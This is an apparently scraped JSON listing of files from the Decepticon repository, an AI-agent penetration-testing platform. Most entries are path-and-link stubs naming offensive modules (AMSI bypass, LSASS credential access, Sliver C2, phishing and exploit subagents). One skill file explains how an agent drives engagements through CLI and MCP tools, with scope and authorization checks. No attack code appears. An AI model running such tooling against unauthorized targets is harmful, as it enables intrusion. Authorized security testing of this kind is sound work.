`packages/decepticon-sdk/examples/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/README.md)","packages/decepticon-sdk/examples/prompt/README.md":"# prompt Documentation\n\nPath: `packages/decepticon-sdk/examples/prompt/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/prompt/README.md)","packages/decepticon-sdk/examples/middleware/README.md":"# middleware Documentation\n\nPath: `packages/decepticon-sdk/examples/middleware/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/middleware/README.md)","packages/decepticon-sdk/examples/callback/README.md":"# callback Documentation\n\nPath: `packages/decepticon-sdk/examples/callback/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/callback/README.md)","packages/decepticon-sdk/examples/agent/README.md":"# agent Documentation\n\nPath: `packages/decepticon-sdk/examples/agent/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/agent/README.md)","packages/decepticon-sdk/examples/skill/README.md":"# skill Documentation\n\nPath: `packages/decepticon-sdk/examples/skill/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/skill/README.md)","packages/decepticon-sdk/examples/tool/README.md":"# tool Documentation\n\nPath: `packages/decepticon-sdk/examples/tool/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon-sdk/examples/tool/README.md)","packages/decepticon/decepticon/sandbox_web/NOTICE.md":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/NOTICE.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/NOTICE.md)","packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml":"# Sandbox_web Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/waf_profiles.yaml)","packages/decepticon/decepticon/skill_audit/subdomains.yaml":"# Skill_audit Skill\n\nPath: `packages/decepticon/decepticon/skill_audit/subdomains.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skill_audit/subdomains.yaml)","packages/decepticon/decepticon/agents/prompts/language.md":"# Subagent: language\n\nPath: `packages/decepticon/decepticon/agents/prompts/language.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/language.md)","packages/decepticon/decepticon/sandbox_web/templates/package.json":"# Templates Skill\n\nPath: `packages/decepticon/decepticon/sandbox_web/templates/package.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/sandbox_web/templates/package.json)","packages/decepticon/decepticon/tools/references/killchain.yaml":"# References Skill\n\nPath: `packages/decepticon/decepticon/tools/references/killchain.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/tools/references/killchain.yaml)","packages/decepticon/decepticon/agents/prompts/plugins/detector.md":"# Subagent: detector\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/detector.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/detector.md)","packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md":"# Subagent: exploiter\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/exploiter.md)","packages/decepticon/decepticon/agents/prompts/plugins/patcher.md":"# Subagent: patcher\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/patcher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/patcher.md)","packages/decepticon/decepticon/agents/prompts/plugins/scanner.md":"# Subagent: scanner\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/scanner.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/scanner.md)","packages/decepticon/decepticon/agents/prompts/plugins/verifier.md":"# Subagent: verifier\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/verifier.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/verifier.md)","packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md":"# Subagent: vulnresearch\n\nPath: `packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/plugins/vulnresearch.md)","packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md":"# Subagent: ad_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ad_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/analyst.md":"# Subagent: analyst\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/analyst.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/analyst.md)","packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md":"# Subagent: blue_cell\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/blue_cell.md)","packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md":"# Subagent: cloud_hunter\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/cloud_hunter.md)","packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md":"# Subagent: contract_auditor\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/contract_auditor.md)","packages/decepticon/decepticon/agents/prompts/standard/decepticon.md":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/decepticon.md)","packages/decepticon/decepticon/agents/prompts/standard/exploit.md":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/exploit.md)","packages/decepticon/decepticon/agents/prompts/standard/forensicator.md":"# Subagent: forensicator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/forensicator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/forensicator.md)","packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md":"# Subagent: ics_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/ics_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md":"# Subagent: iot_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/iot_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/mobile_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md":"# Subagent: osint_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/osint_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/phisher.md":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/phisher.md)","packages/decepticon/decepticon/agents/prompts/standard/postexploit.md":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/postexploit.md)","packages/decepticon/decepticon/agents/prompts/standard/recon.md":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/recon.md)","packages/decepticon/decepticon/agents/prompts/standard/reverser.md":"# Subagent: reverser\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/reverser.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/reverser.md)","packages/decepticon/decepticon/agents/prompts/standard/soundwave.md":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/soundwave.md)","packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md":"# Subagent: supply_chain_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/supply_chain_operator.md)","packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/standard/wireless_operator.md)","packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md":"# Subagent: decepticon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/decepticon.md)","packages/decepticon/decepticon/agents/prompts/workflows/exploit.md":"# Subagent: exploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/exploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/exploit.md)","packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md":"# Subagent: mobile_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/mobile_operator.md)","packages/decepticon/decepticon/agents/prompts/workflows/phisher.md":"# Subagent: phisher\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/phisher.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/phisher.md)","packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md":"# Subagent: postexploit\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/postexploit.md)","packages/decepticon/decepticon/agents/prompts/workflows/recon.md":"# Subagent: recon\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/recon.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/recon.md)","packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md":"# Subagent: soundwave\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/soundwave.md)","packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md":"# Subagent: wireless_operator\n\nPath: `packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/agents/prompts/workflows/wireless_operator.md)","packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/asset_types.yaml)","packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/moc.yaml)","packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml":"# Seeds Skill\n\nPath: `packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skillogy/builder/seeds/phases.yaml)","packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/bad_mitre.md)","packages/decepticon/tests/unit/skill_audit/fixtures/clean.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/clean.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/clean.md)","packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/missing_subdomain.md)","packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/no_attribution.md)","packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/references/schema-quick-reference.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/adversary-archetypes.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/references/apt-groups.md)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/roe-example.json)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/references/validation-checklist.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-rules.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/references/objective-templates.md)","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/references/kill-chain-templates.md)","packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/references/dns-techniques.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-ip-ranges.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/references/cloud-naming-patterns.md)","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/references/lsass-techniques.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/references/sliver-quickstart.md)","packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md)"},"items":[{"name":"agents.md","path":"docs/agents.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/agents.md","title":"docs - AI Agent Protocol & Instructions","category":"root-instruction","format":"markdown","content":"# docs - AI Agent Protocol & Instructions\n\nPath: `docs/agents.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/agents.md)","tokens":300,"sizeBytes":173},{"name":"skills.md","path":"docs/skills.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/skills.md","title":"docs - Workspace Skills & Capabilities Index","category":"root-instruction","format":"markdown","content":"# docs - Workspace Skills & Capabilities Index\n\nPath: `docs/skills.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/skills.md)","tokens":300,"sizeBytes":178},{"name":"architecture.md","path":"docs/architecture.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/architecture.md","title":"docs - System Architecture & Module Boundaries","category":"project-spec","format":"markdown","content":"# docs - System Architecture & Module Boundaries\n\nPath: `docs/architecture.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/architecture.md)","tokens":300,"sizeBytes":192},{"name":"open-web.md","path":"docs/tools/open-web.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/tools/open-web.md","title":"Tools Skill","category":"anthropic-skill","format":"markdown","content":"# Tools Skill\n\nPath: `docs/tools/open-web.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/docs/tools/open-web.md)","tokens":300,"sizeBytes":161},{"name":"SKILL.md","path":"integrations/agent-skills/decepticon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/integrations/agent-skills/decepticon/SKILL.md","title":"decepticon","category":"anthropic-skill","format":"markdown","content":"---\nname: decepticon\ndescription: \"Operate Decepticon OSS through its installed CLI and engagement MCP tools when the user asks to run or inspect an authorized security engagement or a local Blue Cell. Do not use for unrelated security questions or raw scanner commands.\"\nlicense: Apache-2.0\nmetadata:\n version: 2.1.0\n homepage: \"https://github.com/BitterSecurity/Decepticon\"\n---\n\n# Decepticon operator\n\nUse Decepticon as the user's security platform. The host `decepticon` command\nmanages the installation and opens an interactive CLI. The registered MCP\nserver exposes engagement control and observation to coding agents. These\ninterfaces cover different operations; choose the one that actually exists.\n\n## Connect\n\n1. Check `decepticon status`. If the installation is missing, the user can run\n `decepticon onboard`. `decepticon start` starts services and opens the\n interactive terminal; it is not a headless scan command.\n2. For MCP, confirm `decepticon_list_graphs` works. A connection error means\n the stack or MCP registration needs attention. See the\n [integration guide](https://github.com/BitterSecurity/Decepticon/blob/main/docs/integrations/external-agents.md) for\n Claude Code and Codex registration.\n3. The user can install this skill for both clients with\n `decepticon skill install` after a release containing that command.\n\n## Choose the operation\n\n| Request | Supported surface |\n|---|---|\n| Discover agents, list engagements, read status or a compact state summary | MCP `decepticon_list_graphs`, `decepticon_list_engagements`, `decepticon_engagement_status`, `decepticon_engagement_state` |\n| Watch an engagement | MCP `decepticon_transcript` with `next_index`; `decepticon_watch` for a bounded live sample |\n| Send a follow-up or stop a run | MCP `decepticon_send_message` or `decepticon_cancel_engagement` |\n| Onboard, start, stop, update, inspect services | Host `decepticon` command |\n| Start or stop a local Blue Cell sensor | Interactive CLI `/blue up`, `/blue stop` |\n| Inspect a running Blue Cell | MCP `decepticon_blue_status`, `decepticon_blue_sources`, `decepticon_blue_events`, `decepticon_blue_incidents`, `decepticon_blue_notifications`, `decepticon_blue_body`, `decepticon_blue_search`, `decepticon_blue_timeline`; interactive CLI `/blue verify` and `/blue analyze` |\n| List or toggle agent plugin bundles | MCP `decepticon_plugin_bundles`, `decepticon_plugin_enable`, `decepticon_plugin_disable`; interactive CLI `/plugins` |\n| Control web dashboard or select the active CLI agent | Interactive CLI `/web`, `/agent` |\n\nDo not invent MCP tools for Blue Cell setup or service\nmanagement. The slash commands above work inside Decepticon's interactive\nterminal, not in the shell or the MCP bridge.\n\n- Poll `decepticon_blue_events` with its `next_after` cursor and\n `decepticon_blue_notifications` with its separate `next_after` cursor.\n- Check `decepticon_blue_status` for collector and monitor health before\n interpreting missing events. Cite exact incident IDs and event sequences.\n\n## Engagement workflow\n\n- Obtain the user's explicit target scope and rules of engagement before any\n active testing. State both included and excluded assets. Do not infer\n authorization from a URL or repository path.\n- For an existing CLI engagement, call `decepticon_list_engagements`, identify\n its `thread_id`, then read `decepticon_engagement_state` and\n `decepticon_transcript`. Keep the returned `next_index` for later reads.\n- `decepticon_start_engagement` binds the run to a workspace via\n `workspace_path` (default `/workspace`). To share the workspace binding the\n interactive CLI selected, pass the same binding explicitly — the binding is\n returned in the result's `workspace_path` field. A non-default binding must\n be the engagement's own directory (final segment = `engagement_name`, e.g.\n `/workspace/`); anything else is rejected so one\n engagement's run cannot write into another engagement's workspace. The run\n still requires the workspace mapping on the server to exist and be\n authorized for that engagement; when in doubt, start the engagement in the\n interactive CLI and observe its thread through MCP.\n- Engagement `targets` are network assets (URLs, hosts, CIDRs, globs, git\n remotes). A local repository path is not a valid target — the standalone\n SAST/CI entry was removed (issue #1059); code analysis happens inside an\n engagement once the operation itself obtains the source, with the code\n mounted or fetched as part of that engagement's workflow.\n- `decepticon_send_message` queues a new turn behind an active run. Do not tell\n the user it changed the current execution until a subsequent transcript or\n state confirms the effect.\n- `decepticon_engagement_findings` reads a persisted `graph.json` only. An\n `available=false` result does not prove the absence of findings. For an\n installed CLI engagement, inspect the selected host workspace's\n `findings/FIND-*.md` and `report/` artifacts when available. Cite the\n actual artifact and verification status; do not invent a SARIF result.\n- If a run is interrupted or fails, read the latest transcript and status\n before retrying. Stop polling when the user has the requested update or\n the run reaches a terminal state.\n\nRead [reference.md](reference.md) for exact MCP arguments and\n[examples.md](examples.md) for CLI and MCP handoffs.\n","frontmatter":{"name":"decepticon","description":"Operate Decepticon OSS through its installed CLI and engagement MCP tools when the user asks to run or inspect an authorized security engagement or a local Blue Cell. Do not use for unrelated security questions or raw scanner 